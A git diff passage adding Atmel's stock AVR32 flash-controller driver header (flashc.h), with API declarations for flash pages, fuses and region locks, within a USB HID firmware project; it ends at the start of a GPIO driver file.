b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/flashc/flashc.h new file mode 100755 index 0000000..0622a2d --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/flashc/flashc.h @@ -0,0 +1,1018 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief FLASHC driver for AVR32 UC3. + * + * AVR32 Flash Controller driver module. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices with a FLASHC module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _FLASHC_H_ +#define _FLASHC_H_ + +#include +#include +#include "compiler.h" + +//! Number of flash regions defined by the FLASHC. +#define AVR32_FLASHC_REGIONS (AVR32_FLASHC_FLASH_SIZE /\ + (AVR32_FLASHC_PAGES_PR_REGION * AVR32_FLASHC_PAGE_SIZE)) + + +/*! \name Flash Properties + */ +//! @{ + +/*! \brief Gets the size of the whole flash array. + * + * \return The size of the whole flash array in bytes. + */ +extern unsigned int flashc_get_flash_size(void); + +/*! \brief Gets the total number of pages in the flash array. + * + * \return The total number of pages in the flash array. + */ +extern unsigned int flashc_get_page_count(void); + +/*! \brief Gets the number of pages in each flash region. + * + * \return The number of pages in each flash region. + */ +extern unsigned int flashc_get_page_count_per_region(void); + +/*! \brief Gets the region number of a page. + * + * \param page_number The page number: + * \arg \c 0 to (flashc_get_page_count() - 1): a page number within + * the flash array; + * \arg < 0: the current page number. + * + * \return The region number of the specified page. + */ +extern unsigned int flashc_get_page_region(int page_number); + +/*! \brief Gets the number of the first page of a region. + * + * \param region The region number: \c 0 to (AVR32_FLASHC_REGIONS - 1). + * + * \return The number of the first page of the specified region. + */ +extern unsigned int flashc_get_region_first_page_number(unsigned int region); + +//! @} + + +/*! \name FLASHC Control + */ +//! @{ + +/*! \brief Gets the number of wait states of flash read accesses. + * + * \return The number of wait states of flash read accesses. + */ +extern unsigned int flashc_get_wait_state(void); + +/*! \brief Sets the number of wait states of flash read accesses. + * + * \param wait_state The number of wait states of flash read accesses: \c 0 to + * \c 1. + */ +extern void flashc_set_wait_state(unsigned int wait_state); + +/*! \brief Depending on the CPU frequency, set the wait states of flash read + * accesses. + * + * \param cpu_f_hz The CPU frequency + */ +extern void flashc_set_bus_freq(unsigned int cpu_f_hz); +/*! \brief Alias on the flashc_set_bus_freq() function. + * + * \param cpu_f_hz The CPU frequency + */ +#define flash_set_bus_freq(cpu_f_hz) flashc_set_bus_freq(cpu_f_hz) + +/*! \brief Tells whether the Flash Ready interrupt is enabled. + * + * \return Whether the Flash Ready interrupt is enabled. + */ +extern Bool flashc_is_ready_int_enabled(void); + +/*! \brief Enables or disables the Flash Ready interrupt. + * + * \param enable Whether to enable the Flash Ready interrupt: \c true or + * \c false. + */ +extern void flashc_enable_ready_int(Bool enable); + +/*! \brief Tells whether the Lock Error interrupt is enabled. + * + * \return Whether the Lock Error interrupt is enabled. + */ +extern Bool flashc_is_lock_error_int_enabled(void); + +/*! \brief Enables or disables the Lock Error interrupt. + * + * \param enable Whether to enable the Lock Error interrupt: \c true or + * \c false. + */ +extern void flashc_enable_lock_error_int(Bool enable); + +/*! \brief Tells whether the Programming Error interrupt is enabled. + * + * \return Whether the Programming Error interrupt is enabled. + */ +extern Bool flashc_is_prog_error_int_enabled(void); + +/*! \brief Enables or disables the Programming Error interrupt. + * + * \param enable Whether to enable the Programming Error interrupt: \c true or + * \c false. + */ +extern void flashc_enable_prog_error_int(Bool enable); + +//! @} + + +/*! \name FLASHC Status + */ +//! @{ + +/*! \brief Tells whether the FLASHC is ready to run a new command. + * + * \return Whether the FLASHC is ready to run a new command. + */ +extern Bool flashc_is_ready(void); + +/*! \brief Waits actively until the FLASHC is ready to run a new command. + * + * This is the default function assigned to \ref flashc_wait_until_ready. + */ +extern void flashc_default_wait_until_ready(void); + +//! Pointer to the function used by the driver when it needs to wait until the +//! FLASHC is ready to run a new command. +//! The default function is \ref flashc_default_wait_until_ready. +//! The user may change this pointer to use another implementation. +extern void (*volatile flashc_wait_until_ready)(void); + +/*! \brief Tells whether a Lock Error has occurred during the last function + * called that issued one or more FLASHC commands. + * + * \return Whether a Lock Error has occurred during the last function called + * that issued one or more FLASHC commands. + */ +extern Bool flashc_is_lock_error(void); + +/*! \brief Tells whether a Programming Error has occurred during the last + * function called that issued one or more FLASHC commands. + * + * \return Whether a Programming Error has occurred during the last function + * called that issued one or more FLASHC commands. + */ +extern Bool flashc_is_programming_error(void); + +//! @} + + +/*! \name FLASHC Command Control + */ +//! @{ + +/*! \brief Gets the last issued FLASHC command. + * + * \return The last issued FLASHC command. + */ +extern unsigned int flashc_get_command(void); + +/*! \brief Gets the current FLASHC page number. + * + * \return The current FLASHC page number. + */ +extern unsigned int flashc_get_page_number(void); + +/*! \brief Issues a FLASHC command. + * + * \param command The command: \c AVR32_FLASHC_FCMD_CMD_x. + * \param page_number The page number to apply the command to: + * \arg \c 0 to (flashc_get_page_count() - 1): a page number within + * the flash array; + * \arg < 0: use this to apply the command to the current page number + * or if the command does not apply to any page number; + * \arg this argument may have other meanings according to the command. See + * the FLASHC chapter of the MCU datasheet. + * + * \warning A Lock Error is issued if the command violates the protection + * mechanism. + * + * \warning A Programming Error is issued if the command is invalid. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern void flashc_issue_command(unsigned int command, int page_number); + +//! @} + + +/*! \name FLASHC Global Commands + */ +//! @{ + +/*! \brief Issues a No Operation command to the FLASHC. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern void flashc_no_operation(void); + +/*! \brief Issues an Erase All command to the FLASHC. + * + * This command erases all bits in the flash array, the general-purpose fuse + * bits and the Security bit. The User page is not erased. + * + * This command also ensures that all volatile memories, such as register file + * and RAMs, are erased before the Security bit is erased, i.e. deactivated. + * + * \warning A Lock Error is issued if at least one region is locked or the + * bootloader protection is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note An erase operation can only set bits. + */ +extern void flashc_erase_all(void); + +//! @} + + +/*! \name FLASHC Protection Mechanisms + */ +//! @{ + +/*! \brief Tells whether the Security bit is active. + * + * \return Whether the Security bit is active. + */ +extern Bool flashc_is_security_bit_active(void); + +/*! \brief Activates the Security bit. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern void flashc_activate_security_bit(void); + +/*! \brief Gets the bootloader protected size. + * + * \return The bootloader protected size in bytes. + */ +extern unsigned int flashc_get_bootloader_protected_size(void); + +/*! \brief Sets the bootloader protected size. + * + * \param bootprot_size The wanted bootloader protected size in bytes. If this + * size is not supported, the actual size will be the + * nearest greater available size or the maximal possible + * size if the requested size is too large. + * + * \return The actual bootloader protected size in bytes. + * + * \warning A Lock Error is issued if the Security bit is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern unsigned int flashc_set_bootloader_protected_size(unsigned int bootprot_size); + +/*! \brief Tells whether external privileged fetch is locked. + * + * \return Whether external privileged fetch is locked. + */ +extern Bool flashc_is_external_privileged_fetch_locked(void); + +/*! \brief Locks or unlocks external privileged fetch. + * + * \param lock Whether to lock external privileged fetch: \c true or \c false. + * + * \warning A Lock Error is issued if the Security bit is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern void flashc_lock_external_privileged_fetch(Bool lock); + +/*! \brief Tells whether the region of a page is locked. + * + * \param page_number The page number: + * \arg \c 0 to (flashc_get_page_count() - 1): a page number within + * the flash array; + * \arg < 0: the current page number. + * + * \return Whether the region of the specified page is locked. + */ +extern Bool flashc_is_page_region_locked(int page_number); + +/*! \brief Tells whether a region is locked. + * + * \param region The region number: \c 0 to (AVR32_FLASHC_REGIONS - 1). + * + * \return Whether the specified region is locked. + */ +extern Bool flashc_is_region_locked(unsigned int region); + +/*! \brief Locks or unlocks the region of a page. + * + * \param page_number The page number: + * \arg \c 0 to (flashc_get_page_count() - 1): a page number within + * the flash array; + * \arg < 0: the current page number. + * \param lock Whether to lock the region of the specified page: \c true or + * \c false. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern void flashc_lock_page_region(int page_number, Bool lock); + +/*! \brief Locks or unlocks a region. + * + * \param region The region number: \c 0 to (AVR32_FLASHC_REGIONS - 1). + * \param lock Whether to lock the specified region: \c true or \c false. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern void flashc_lock_region(unsigned int region, Bool lock); + +/*! \brief Locks or unlocks all regions. + * + * \param lock Whether to lock the regions: \c true or \c false. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern void flashc_lock_all_regions(Bool lock); + +//! @} + + +/*! \name Access to General-Purpose Fuses + */ +//! @{ + +/*! \brief Reads a general-purpose fuse bit. + * + * \param gp_fuse_bit The general-purpose fuse bit: \c 0 to \c 63. + * + * \return The value of the specified general-purpose fuse bit. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern Bool flashc_read_gp_fuse_bit(unsigned int gp_fuse_bit); + +/*! \brief Reads a general-purpose fuse bit-field. + * + * \param pos The bit-position of the general-purpose fuse bit-field: \c 0 to + * \c 63. + * \param width The bit-width of the general-purpose fuse bit-field: \c 0 to + * \c 64. + * + * \return The value of the specified general-purpose fuse bit-field. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern U64 flashc_read_gp_fuse_bitfield(unsigned int pos, unsigned int width); + +/*! \brief Reads a general-purpose fuse byte. + * + * \param gp_fuse_byte The general-purpose fuse byte: \c 0 to \c 7. + * + * \return The value of the specified general-purpose fuse byte. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern U8 flashc_read_gp_fuse_byte(unsigned int gp_fuse_byte); + +/*! \brief Reads all general-purpose fuses. + * + * \return The value of all general-purpose fuses as a word. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern U64 flashc_read_all_gp_fuses(void); + +/*! \brief Erases a general-purpose fuse bit. + * + * \param gp_fuse_bit The general-purpose fuse bit: \c 0 to \c 63. + * \param check Whether to check erase: \c true or \c false. + * + * \return Whether the erase succeeded or always \c true if erase check was not + * requested. + * + * \warning A Lock Error is issued if the Security bit is active and the command + * is applied to BOOTPROT or EPFL fuses. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note An erase operation can only set bits. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern Bool flashc_erase_gp_fuse_bit(unsigned int gp_fuse_bit, Bool check); + +/*! \brief Erases a general-purpose fuse bit-field. + * + * \param pos The bit-position of the general-purpose fuse bit-field: \c 0 to + * \c 63. + * \param width The bit-width of the general-purpose fuse bit-field: \c 0 to + * \c 64. + * \param check Whether to check erase: \c true or \c false. + * + * \return Whether the erase succeeded or always \c true if erase check was not + * requested. + * + * \warning A Lock Error is issued if the Security bit is active and the command + * is applied to BOOTPROT or EPFL fuses. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note An erase operation can only set bits. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern Bool flashc_erase_gp_fuse_bitfield(unsigned int pos, unsigned int width, Bool check); + +/*! \brief Erases a general-purpose fuse byte. + * + * \param gp_fuse_byte The general-purpose fuse byte: \c 0 to \c 7. + * \param check Whether to check erase: \c true or \c false. + * + * \return Whether the erase succeeded or always \c true if erase check was not + * requested. + * + * \warning A Lock Error is issued if the Security bit is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note An erase operation can only set bits. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern Bool flashc_erase_gp_fuse_byte(unsigned int gp_fuse_byte, Bool check); + +/*! \brief Erases all general-purpose fuses. + * + * \param check Whether to check erase: \c true or \c false. + * + * \return Whether the erase succeeded or always \c true if erase check was not + * requested. + * + * \warning A Lock Error is issued if the Security bit is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note An erase operation can only set bits. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern Bool flashc_erase_all_gp_fuses(Bool check); + +/*! \brief Writes a general-purpose fuse bit. + * + * \param gp_fuse_bit The general-purpose fuse bit: \c 0 to \c 63. + * \param value The value of the specified general-purpose fuse bit. + * + * \warning A Lock Error is issued if the Security bit is active and the command + * is applied to BOOTPROT or EPFL fuses. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note A write operation can only clear bits; in other words, an erase operation + * must first be done if some bits need to be set to 1. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern void flashc_write_gp_fuse_bit(unsigned int gp_fuse_bit, Bool value); + +/*! \brief Writes a general-purpose fuse bit-field. + * + * \param pos The bit-position of the general-purpose fuse bit-field: \c 0 to + * \c 63. + * \param width The bit-width of the general-purpose fuse bit-field: \c 0 to + * \c 64. + * \param value The value of the specified general-purpose fuse bit-field. + * + * \warning A Lock Error is issued if the Security bit is active and the command + * is applied to BOOTPROT or EPFL fuses. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note A write operation can only clear bits; in other words, an erase operation + * must first be done if some bits need to be set to 1. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern void flashc_write_gp_fuse_bitfield(unsigned int pos, unsigned int width, U64 value); + +/*! \brief Writes a general-purpose fuse byte. + * + * \param gp_fuse_byte The general-purpose fuse byte: \c 0 to \c 7. + * \param value The value of the specified general-purpose fuse byte. + * + * \warning A Lock Error is issued if the Security bit is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note A write operation can only clear bits; in other words, an erase operation + * must first be done if some bits need to be set to 1. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern void flashc_write_gp_fuse_byte(unsigned int gp_fuse_byte, U8 value); + +/*! \brief Writes all general-purpose fuses. + * + * \param value The value of all general-purpose fuses as a word. + * + * \warning A Lock Error is issued if the Security bit is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note A write operation can only clear bits; in other words, an erase operation + * must first be done if some bits need to be set to 1. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern void flashc_write_all_gp_fuses(U64 value); + +/*! \brief Sets a general-purpose fuse bit with the appropriate erase and write + * operations. + * + * \param gp_fuse_bit The general-purpose fuse bit: \c 0 to \c 63. + * \param value The value of the specified general-purpose fuse bit. + * + * \warning A Lock Error is issued if the Security bit is active and the command + * is applied to BOOTPROT or EPFL fuses. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern void flashc_set_gp_fuse_bit(unsigned int gp_fuse_bit, Bool value); + +/*! \brief Sets a general-purpose fuse bit-field with the appropriate erase and + * write operations. + * + * \param pos The bit-position of the general-purpose fuse bit-field: \c 0 to + * \c 63. + * \param width The bit-width of the general-purpose fuse bit-field: \c 0 to + * \c 64. + * \param value The value of the specified general-purpose fuse bit-field. + * + * \warning A Lock Error is issued if the Security bit is active and the command + * is applied to BOOTPROT or EPFL fuses. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern void flashc_set_gp_fuse_bitfield(unsigned int pos, unsigned int width, U64 value); + +/*! \brief Sets a general-purpose fuse byte with the appropriate erase and write + * operations. + * + * \param gp_fuse_byte The general-purpose fuse byte: \c 0 to \c 7. + * \param value The value of the specified general-purpose fuse byte. + * + * \warning A Lock Error is issued if the Security bit is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern void flashc_set_gp_fuse_byte(unsigned int gp_fuse_byte, U8 value); + +/*! \brief Sets all general-purpose fuses with the appropriate erase and write + * operations. + * + * \param value The value of all general-purpose fuses as a word. + * + * \warning A Lock Error is issued if the Security bit is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note The actual number of general-purpose fuse bits implemented by hardware + * is given by \c AVR32_FLASHC_GPF_NUM. The other bits among the 64 are + * fixed at 1 by hardware. + */ +extern void flashc_set_all_gp_fuses(U64 value); + +//! @} + + +/*! \name Access to Flash Pages + */ +//! @{ + +/*! \brief Clears the page buffer. + * + * This command resets all bits in the page buffer to one. Write accesses to the + * page buffer can only change page buffer bits from one to zero. + * + * \warning The page buffer is not automatically reset after a page write. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern void flashc_clear_page_buffer(void); + +/*! \brief Tells whether the page to which the last Quick Page Read or Quick + * Page Read User Page command was applied was erased. + * + * \return Whether the page to which the last Quick Page Read or Quick Page Read + * User Page command was applied was erased. + */ +extern Bool flashc_is_page_erased(void); + +/*! \brief Applies the Quick Page Read command to a page. + * + * \param page_number The page number: + * \arg \c 0 to (flashc_get_page_count() - 1): a page number within + * the flash array; + * \arg < 0: the current page number. + * + * \return Whether the specified page is erased. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern Bool flashc_quick_page_read(int page_number); + +/*! \brief Erases a page. + * + * \param page_number The page number: + * \arg \c 0 to (flashc_get_page_count() - 1): a page number within + * the flash array; + * \arg < 0: the current page number. + * \param check Whether to check erase: \c true or \c false. + * + * \return Whether the erase succeeded or always \c true if erase check was not + * requested. + * + * \warning A Lock Error is issued if the command is applied to a page belonging + * to a locked region or to the bootloader protected area. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note An erase operation can only set bits. + */ +extern Bool flashc_erase_page(int page_number, Bool check); + +/*! \brief Erases all pages within the flash array. + * + * \param check Whether to check erase: \c true or \c false. + * + * \return Whether the erase succeeded or always \c true if erase check was not + * requested. + * + * \warning A Lock Error is issued if at least one region is locked or the + * bootloader protection is active. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note An erase operation can only set bits. + */ +extern Bool flashc_erase_all_pages(Bool check); + +/*! \brief Writes a page from the page buffer. + * + * \param page_number The page number: + * \arg \c 0 to (flashc_get_page_count() - 1): a page number within + * the flash array; + * \arg < 0: the current page number. + * + * \warning A Lock Error is issued if the command is applied to a page belonging + * to a locked region or to the bootloader protected area. + * + * \warning The page buffer is not automatically reset after a page write. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note A write operation can only clear bits; in other words, an erase operation + * must first be done if some bits need to be set to 1. + */ +extern void flashc_write_page(int page_number); + +/*! \brief Issues a Quick Page Read User Page command to the FLASHC. + * + * \return Whether the User page is erased. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern Bool flashc_quick_user_page_read(void); + +/*! \brief Erases the User page. + * + * \param check Whether to check erase: \c true or \c false. + * + * \return Whether the erase succeeded or always \c true if erase check was not + * requested. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note An erase operation can only set bits. + */ +extern Bool flashc_erase_user_page(Bool check); + +/*! \brief Writes the User page from the page buffer. + * + * \warning The page buffer is not automatically reset after a page write. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + * + * \note A write operation can only clear bits; in other words, an erase operation + * must first be done if some bits need to be set to 1. + */ +extern void flashc_write_user_page(void); + +/*! \brief Copies \a nbytes bytes to the flash destination pointed to by \a dst + * from the repeated \a src source byte. + * + * The destination areas that are not within the flash array or the User page + * are ignored. + * + * All pointer and size alignments are supported. + * + * \param dst Pointer to flash destination. + * \param src Source byte. + * \param nbytes Number of bytes to set. + * \param erase Whether to erase before writing: \c true or \c false. + * + * \return The value of \a dst. + * + * \warning This function may be called with \a erase set to \c false only if + * the destination consists only of erased words, i.e. this function + * can not be used to write only one bit of a previously written word. + * E.g., if \c 0x00000001 then \c 0xFFFFFFFE are written to a word, the + * resulting value in flash may be different from \c 0x00000000. + * + * \warning A Lock Error is issued if the command is applied to pages belonging + * to a locked region or to the bootloader protected area. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern volatile void *flashc_memset8(volatile void *dst, U8 src, size_t nbytes, Bool erase); + +/*! \brief Copies \a nbytes bytes to the flash destination pointed to by \a dst + * from the repeated \a src big-endian source half-word. + * + * The destination areas that are not within the flash array or the User page + * are ignored. + * + * All pointer and size alignments are supported. + * + * \param dst Pointer to flash destination. + * \param src Source half-word. + * \param nbytes Number of bytes to set. + * \param erase Whether to erase before writing: \c true or \c false. + * + * \return The value of \a dst. + * + * \warning This function may be called with \a erase set to \c false only if + * the destination consists only of erased words, i.e. this function + * can not be used to write only one bit of a previously written word. + * E.g., if \c 0x00000001 then \c 0xFFFFFFFE are written to a word, the + * resulting value in flash may be different from \c 0x00000000. + * + * \warning A Lock Error is issued if the command is applied to pages belonging + * to a locked region or to the bootloader protected area. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern volatile void *flashc_memset16(volatile void *dst, U16 src, size_t nbytes, Bool erase); + +/*! \brief Copies \a nbytes bytes to the flash destination pointed to by \a dst + * from the repeated \a src big-endian source word. + * + * The destination areas that are not within the flash array or the User page + * are ignored. + * + * All pointer and size alignments are supported. + * + * \param dst Pointer to flash destination. + * \param src Source word. + * \param nbytes Number of bytes to set. + * \param erase Whether to erase before writing: \c true or \c false. + * + * \return The value of \a dst. + * + * \warning This function may be called with \a erase set to \c false only if + * the destination consists only of erased words, i.e. this function + * can not be used to write only one bit of a previously written word. + * E.g., if \c 0x00000001 then \c 0xFFFFFFFE are written to a word, the + * resulting value in flash may be different from \c 0x00000000. + * + * \warning A Lock Error is issued if the command is applied to pages belonging + * to a locked region or to the bootloader protected area. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern volatile void *flashc_memset32(volatile void *dst, U32 src, size_t nbytes, Bool erase); + +/*! \brief Copies \a nbytes bytes to the flash destination pointed to by \a dst + * from the repeated \a src big-endian source double-word. + * + * The destination areas that are not within the flash array or the User page + * are ignored. + * + * All pointer and size alignments are supported. + * + * \param dst Pointer to flash destination. + * \param src Source double-word. + * \param nbytes Number of bytes to set. + * \param erase Whether to erase before writing: \c true or \c false. + * + * \return The value of \a dst. + * + * \warning This function may be called with \a erase set to \c false only if + * the destination consists only of erased words, i.e. this function + * can not be used to write only one bit of a previously written word. + * E.g., if \c 0x00000001 then \c 0xFFFFFFFE are written to a word, the + * resulting value in flash may be different from \c 0x00000000. + * + * \warning A Lock Error is issued if the command is applied to pages belonging + * to a locked region or to the bootloader protected area. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern volatile void *flashc_memset64(volatile void *dst, U64 src, size_t nbytes, Bool erase); + +/*! \brief Copies \a nbytes bytes to the flash destination pointed to by \a dst + * from the repeated \a src big-endian source pattern. + * + * The destination areas that are not within the flash array or the User page + * are ignored. + * + * All pointer and size alignments are supported. + * + * \param dst Pointer to flash destination. + * \param src Source double-word. + * \param src_width \a src width in bits: 8, 16, 32 or 64. + * \param nbytes Number of bytes to set. + * \param erase Whether to erase before writing: \c true or \c false. + * + * \return The value of \a dst. + * + * \warning This function may be called with \a erase set to \c false only if + * the destination consists only of erased words, i.e. this function + * can not be used to write only one bit of a previously written word. + * E.g., if \c 0x00000001 then \c 0xFFFFFFFE are written to a word, the + * resulting value in flash may be different from \c 0x00000000. + * + * \warning A Lock Error is issued if the command is applied to pages belonging + * to a locked region or to the bootloader protected area. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +#define flashc_memset(dst, src, src_width, nbytes, erase) \ + TPASTE2(flashc_memset, src_width)((dst), (src), (nbytes), (erase)) + +/*! \brief Copies \a nbytes bytes to the flash destination pointed to by \a dst + * from the source pointed to by \a src. + * + * The destination areas that are not within the flash array or the User page + * are ignored. + * + * All pointer and size alignments are supported. + * + * \param dst Pointer to flash destination. + * \param src Pointer to source data. + * \param nbytes Number of bytes to copy. + * \param erase Whether to erase before writing: \c true or \c false. + * + * \return The value of \a dst. + * + * \warning If copying takes place between areas that overlap, the behavior is + * undefined. + * + * \warning This function may be called with \a erase set to \c false only if + * the destination consists only of erased words, i.e. this function + * can not be used to write only one bit of a previously written word. + * E.g., if \c 0x00000001 then \c 0xFFFFFFFE are written to a word, the + * resulting value in flash may be different from \c 0x00000000. + * + * \warning A Lock Error is issued if the command is applied to pages belonging + * to a locked region or to the bootloader protected area. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern volatile void *flashc_memcpy(volatile void *dst, const void *src, size_t nbytes, Bool erase); + +#if UC3C + +/*! \brief Depednding to the CPU frequency, set the wait states of flash read + * accesses and enable or disable the High speed read mode. + * + * \param cpu_f_hz The CPU frequency + */ +void flashc_set_flash_waitstate_and_readmode(unsigned long cpu_f_hz); +#endif // UC3C device-specific implementation + +//! @} + + +#endif // _FLASHC_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/gpio/gpio.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/gpio/gpio.c new file mode 100755 index 0000000..bdf6e93 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/gpio/gpio.c @@ -0,0 +1,635 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief GPIO software driver interface for AVR UC3. + * + * - 